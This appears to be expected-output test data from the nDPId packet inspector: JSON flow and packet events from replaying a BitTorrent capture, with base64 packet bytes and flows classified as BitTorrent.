+00661{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":393811,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"LFbcjDU0xCwDBkn+CABFAADeIplAAEAGAADAqAEDl0j\/o86w6hjbuZVQ\/XvsloAYKDdZaAAAAQEIChncD64AaNAEMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OpdI\/6NlAAAAAQ8="} +00458{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":394012,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"LFbcjDU0xCwDBkn+CABFAABHP2VAAEAGAADAqAEDl0j\/o86w6hjbuZX6\/XvsloAZKEhY0QAAAQEIChncD64AaNAEAAAAAwmf\/wAAAAMUAwAAAAABAg=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1455469975407,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"120.62.33.241","src_port":52910,"dst_port":39332,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":407300,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4fvZAAEAGAADAqAEDeD4h8c6umaQbpzY0C9TW44AYjjZcRQAAAQEIChncD7sAQ+m5E0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjhq4aGFIV+2F24M="} +00612{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":55,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1455469975407,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"120.62.33.241","src_port":52910,"dst_port":39332,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1455469975622,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.55.129.22","src_port":52908,"dst_port":12097,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469975,"pkt_ts_usec":622629,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4JlBAAEAGAADAqAEDTzeBFs6sL0FM+lulp3q\/xoAYVhCSYwAAAQEIChncEJACXeJGE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjsY\/A3YcaePRRY8="} +00611{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":56,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1455469975622,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.55.129.22","src_port":52908,"dst_port":12097,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00456{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":169825,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"LFbcjDU0xCwDBkn+CABFAABHu31AAEAGAADAqAEDlxpfHs6vWJEERbbQ8qKrG4AYJJ+4HQAAAQEIChncErERKguWAAAAAwmf\/wAAAAMUAwAAAAABAg=="} +00493{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":244642,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"xCwDBkn+LFbcjDU0CABFAABjNRhAAHUG5CNSOthzwKgBA5Whzqv4VNChMb0e+YAY+6GlEwAAAQEICgCERrEZ3A98AAAAAwmVoQAAAAMUAwEAAAAdFAZkODptc2dfdHlwZWkxZTg6Y29tbWVudHNsZWU="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1455469976336,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"198.100.146.9","src_port":52915,"dst_port":60163,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":336620,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4SfNAAEAGAADAqAEDxmSSCc6z6wOon+tuBozVl4AYZVEahAAAAQEIChncE1MB8nMrE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjlkC3tYvcSfI56Y="} +00612{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1455469976336,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"198.100.146.9","src_port":52915,"dst_port":60163,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00539{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":513452,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+LFbcjDU0CABFEACEZqRAAHYGg6bGZJIJwKgBA+sDzrMGjNWXqJ\/rsoAYAQLT1gAAAQEICgHycz0Z3BNTE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wokMyLr47j7jk1aEAAADnFABkMTplaTA="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":61,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1455469976582,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"190.103.195.56","src_port":52914,"dst_port":46633,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":582427,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4BctAAEAGAADAqAEDvmfDOM6ytinSUvXkM6bvoIAY+3dDtgAAAQEIChncFEcAv3iAE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjkKv+eYrLs2+ChY="} +00613{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":61,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1455469976582,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"190.103.195.56","src_port":52914,"dst_port":46633,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +01309{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":697499,"pkt_caplen":625,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":625,"pkt_l4_len":591,"pkt":"xCwDBkn+LFbcjDU0CABFEAJjaOxAAHYGf3\/GZJIJwKgBA+sDzrMGjNXnqJ\/rsoAYAQJs0QAAAQEICgHyc00Z3BQDZTQ6aXB2NDQ6xmSSCTEyOmNvbXBsZXRlX2Fnb2kxZTE6bWQxMTp1cGxvYWRfb25seWkzZTExOmx0X2RvbnRoYXZlaTdlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNjAxNjNlNDpyZXFxaTI1NWUxOnYxNTrOvFRvcnJlbnQgMy40LjUyOnlwaTUyOTE1ZTY6eW91cmlwNDpSN80BZQAAAHQFv\/\/3\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/3\/\/\/\/\/\/f\/\/\/\/\/3\/f\/\/\/\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/7\/\/\/\/\/f\/\/\/\/\/\/\/7\/\/\/\/\/\/\/v\/\/\/9\/\/\/\/\/\/7\/\/\/7\/+7\/\/f\/3\/f\/\/\/\/v\/\/\/\/\/\/\/9\/9\/\/\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/\/3\/\/\/\/gAAAAAUEAAAClgAAAAUEAAAA6gAAAAUEAAAAugAAAAUEAAAA4AAAAAUEAAABqgAAAAUEAAACZwAAAAUEAAACTwAAAAUEAAAC8gAAAAUEAAABiQAAAAUEAAAB3QAAAAUEAAADdAAAAAUEAAAC\/gAAAAUEAAACJgAAAAUEAAACiAAAAAUEAAACvwAAAAUEAAACeQAAAAUEAAABRQAAAAUEAAACCwAAAAUEAAAAkgAAAAUEAAACdQAAAAUEAAACoAAAAAUEAAAAAQAAAAUEAAAAFAAAAAUEAAADTw=="} +00666{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469976,"pkt_ts_usec":697619,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"LFbcjDU0xCwDBkn+CABFAADktcxAAEAGAADAqAEDxmSSCc6z6wOon+wFBozYFoAYZUAa8AAAAQEIChncFLoB8nNNbmx5aTNlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OsZkkgllAAAAAQ8="} +00538{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":23540,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"xCwDBkn+LFbcjDU0CABFAACFWMJAAHMGa2W+Z8M4wKgBA7YpzrIzpu+g0lL2KIAYAQKm2wAAAQEICgC\/ehQZ3BRHE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLUJUNzk1MC3xovjV8bH+iIGCHSYAAAEBFABkMTplaTBl"} +00447{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":34844,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"xCwDBkn+LFbcjDU0CABFEABCbrhAAHYGe9TGZJIJwKgBA+sDzrMGjNgWqJ\/stYAYAQF3lwAAAQEICgHyc3EZ3BQDAAAAAwnrAwAAAAMUAwE="} +00599{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":175253,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"LFbcjDU0xCwDBkn+CABFAACwJkxAAEAGAADAqAEDxmSSCc6z6wOon+y1BozYJIAYZVEavAAAAQEIChncFpQB8nNxAAAAAwmf\/wAAAAMUAwAAAAABAgAAAGUUBmQ4Om1zZ190eXBlaTBlMzpudW1pMjBlNjpmaWx0ZXI2NDoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZQ=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":67,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1455469977229,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.15.48.189","src_port":52917,"dst_port":47001,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":229541,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4L\/xAAEAGAADAqAEDlw8wvc61t5l0EJCE2E\/BJoAYIPWJ4gAAAQEIChncFslLXJigE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjv4JZL7rS4V2Vgo="} +00612{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":67,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1455469977229,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.15.48.189","src_port":52917,"dst_port":47001,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1455469975265,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.53.228.2","src_port":52909,"dst_port":14627,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1455469970452,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.55.129.22","src_port":52893,"dst_port":12097,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1455469975622,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.55.129.22","src_port":52908,"dst_port":12097,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1455469977229,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.15.48.189","src_port":52917,"dst_port":47001,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1455469969441,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"120.62.33.241","src_port":52894,"dst_port":39332,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1455469975407,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"120.62.33.241","src_port":52910,"dst_port":39332,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1455469977285,"flow_last_seen":0,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":119,"flow_max_l4_data_len":119,"flow_avg_l4_data_len":119,"midstream":1,"l3_proto":"ip4","src_ip":"151.15.48.189","dst_ip":"192.168.1.3","src_port":47001,"dst_port":52917,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00547{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":285065,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"xCwDBkn+LFbcjDU0CABFAACLG6xAAHIGY0mXDzC9wKgBA7eZzrXYT8EmdBCQyIAYAQLHiQAAAQEICktcmNgZ3BbJE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wogWCKk\/sCNEtOuUAAADnFABkMTplaTBlNDppcHY0"} +00612{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1455469977285,"flow_last_seen":0,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":119,"flow_max_l4_data_len":119,"flow_avg_l4_data_len":119,"midstream":1,"l3_proto":"ip4","src_ip":"151.15.48.189","dst_ip":"192.168.1.3","src_port":47001,"dst_port":52917,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +01294{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":324542,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"xCwDBkn+LFbcjDU0CABFAAJcG65AAHIGYXaXDzC9wKgBA7eZzrXYT8F9dBCQyIAZAQKR1gAAAQEICktcmOYZ3BbJNDqXDzC9MTI6Y29tcGxldGVfYWdvaTFlMTptZDExOnVwbG9hZF9vbmx5aTNlMTE6bHRfZG9udGhhdmVpN2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGk0NzAwMWU0OnJlcXFpMjU1ZTE6djE1Os68VG9ycmVudCAzLjQuNTI6eXBpNTI5MTdlNjp5b3VyaXA0OlI3zQFlAAAAdAX\/\/\/\/\/\/7\/\/\/\/\/\/\/f\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/v7\/\/v\/\/\/\/\/u\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/37\/\/\/\/\/\/\/\/\/\/f\/\/3\/\/3\/\/\/7\/\/\/\/v\/\/f\/\/\/f\/\/\/3\/\/\/\/\/\/v\/\/f\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/3\/\/\/+AAAAABQQAAAMOAAAABQQAAAApAAAABQQAAAJ1AAAABQQAAAKiAAAABQQAAADVAAAABQQAAAH3AAAABQQAAANZAAAABQQAAADFAAAABQQAAAN2AAAABQQAAAD5AAAABQQAAAD9AAAABQQAAAL9AAAABQQAAAKRAAAABQQAAAK6AAAABQQAAAC9AAAABQQAAAFxAAAABQQAAAHwAAAABQQAAAJKAAAABQQAAAFDAAAABQQAAAJcAAAABQQAAABWAAAABQQAAALUAAAABQQAAAI2AAAABQQAAAB7"} +00659{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":324595,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"LFbcjDU0xCwDBkn+CABFAADe4MhAAEAGAADAqAEDlw8wvc61t5l0EJEh2E\/DpoAYIOSKSAAAAQEIChncFyZLXJjmMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OpcPML1lAAAAAQ8="} +00457{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":324725,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"LFbcjDU0xCwDBkn+CABFAABHCeZAAEAGAADAqAEDlw8wvc61t5l0EJHL2E\/DpoAZIPWJsQAAAQEIChncFyZLXJjmAAAAAwmf\/wAAAAMUAwAAAAABAg=="} +01340{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469977,"pkt_ts_usec":685435,"pkt_caplen":650,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":650,"pkt_l4_len":616,"pkt":"xCwDBkn+LFbcjDU0CABFAAJ8WMNAAHMGaW2+Z8M4wKgBA7YpzrIzpu\/x0lL2fIAYAQLBOgAAAQEICgC\/e9sZ3BX+NDppcHY0NDq+Z8M4NDppcHY2MTY6IAEAAF71efs4aCApQZg8xzEyOmNvbXBsZXRlX2Fnb2kyZTE6bWQxMTp1cGxvYWRfb25seWkzZTExOmx0X2RvbnRoYXZlaTdlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNDY2MzNlNDpyZXFxaTI1NWUxOnYxNjpCaXRUb3JyZW50IDcuOS41Mjp5cGk1MjkxNGU2OnlvdXJpcDQ6UjfNAWUAAAB0Bf\/\/\/\/\/X\/\/\/v\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/f+\/\/\/7\/\/\/\/v\/\/\/\/\/99\/\/+\/\/\/\/\/\/\/\/\/\/\/\/3\/\/\/\/\/\/\/\/\/\/\/\/\/\/+7\/\/3\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/\/77\/\/\/f\/\/\/3\/